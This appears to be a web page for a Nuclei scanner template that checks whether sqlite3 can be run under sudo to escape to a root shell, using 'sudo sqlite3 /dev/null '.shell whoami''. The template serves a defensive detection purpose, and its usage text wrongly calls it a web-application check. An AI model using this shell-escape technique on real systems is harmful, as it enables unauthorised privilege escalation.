sqlite3 - Privilege Escalation

ID: privesc-sqlite3

Severity: high

Author: daffainfo

Tags: code,linux,sqlite3,privesc,local,sqli

Description

sqlite3 is a lightweight, self-contained, and serverless SQL database engine. It is widely used in embedded systems, mobile devices, and small to medium-sized applications.

YAML Source

id: privesc-sqlite3

info:
  name: sqlite3 - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    sqlite3 is a lightweight, self-contained, and serverless SQL database engine. It is widely used in embedded systems, mobile devices, and small to medium-sized applications.
  reference:
    - https://gtfobins.github.io/gtfobins/sqlite3/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,sqlite3,privesc,local,sqli

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      sqlite3 /dev/null '.shell whoami'

  - engine:
      - sh
      - bash
    source: |
      sudo sqlite3 /dev/null '.shell whoami'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 490a0046304402200f0afeed1739cd99e8c9d01aa53dc8693eb6d09928501858d15168b504648d390220020ace7ca6bc9f86893909493966dbda02df6945518d9ba3c02e35d170d728a0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-sqlite3.yaml"

View on Github